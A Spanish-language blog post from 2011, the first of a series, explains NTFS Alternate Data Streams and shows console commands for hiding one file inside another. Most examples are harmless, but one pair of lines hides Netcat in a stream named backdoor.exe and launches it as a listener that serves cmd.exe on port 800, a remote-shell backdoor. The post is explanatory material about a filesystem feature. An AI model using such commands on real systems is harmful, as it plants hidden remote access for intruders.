domingo, 6 de noviembre de 2011

ALTERNATE DATA STREAMS, o como esconder un archivo dentro de otro (I de IV)

Empezaremos hablando de qué es y como funciona. Esencialmente, los "Alternate Data Streams" (Flujos Alternativos de Datos) son ficheros dentro de otro fichero. Se puede pensar en un fichero como una secuencia ordenada de bytes accesibles por un nombre. En NTFS (Sistema de Archivos de Nueva Tecnología) esto es el flujo de datos que se obtiene al abrir el fichero de forma normal. Sin embargo, NTFS tiene la capacidad de guardar flujos alternativos de datos junto al principal con sólo especificar un nombre para los mismos.
Para algunos es un bug que afecta a todos los Windows; para otros simplemente una característica de NTFS utilizada para almacenar información asociada a un fichero.
Ahora vamos a hacer una prueba simple. Para empezar, abrimos una consola de comandos y desde allí ejecutamos los siguientes comandos:

echo texto1>archivo.txt
echo texto2>final.txt
(Creamos 2 ficheros con el texto indicado)

           type final.txt>archivo.txt:final.txt
(El fichero archivo.txt contiene el fichero final.txt)
           
            more <archivo.txt:final.txt
(Vemos el contenido de final.txt)

En este otro ejemplo lo veremos funcionar con archivos ejecutables:

            type notepad.exe>archivo.txt:notas.exe
     start ./archivo.txt:notas.exe
(Con estos comandos lo ejecutamos)


Y si le echamos imaginación, podemos utilizar otros programas y darle otros usos:

            type nc.exe>archivo.txt:backdoor.exe
     start ./archivo.txt:backdoor.exe –d –L –p800 –t –e cmd.exe
En este último ejemplo, ejecutamos el programa Netcat (del que hablaremos más adelante) y varios de sus parámetros, para crear una puerta trasera, y al entrar por esta puerta se abra una ventana de comandos.

Por último, indicar que en las últimas versiones de Windows no funciona la ejecución, pero sí la forma de esconder los archivos. También se puede introducir un fichero a un directorio, ya que no sólo funciona con otros archivos.

1 comentarios:

Anónimo dijo...

zi man hazi podré hocultar el porno hehehe y mi mamita no me piyara

Publicar un comentario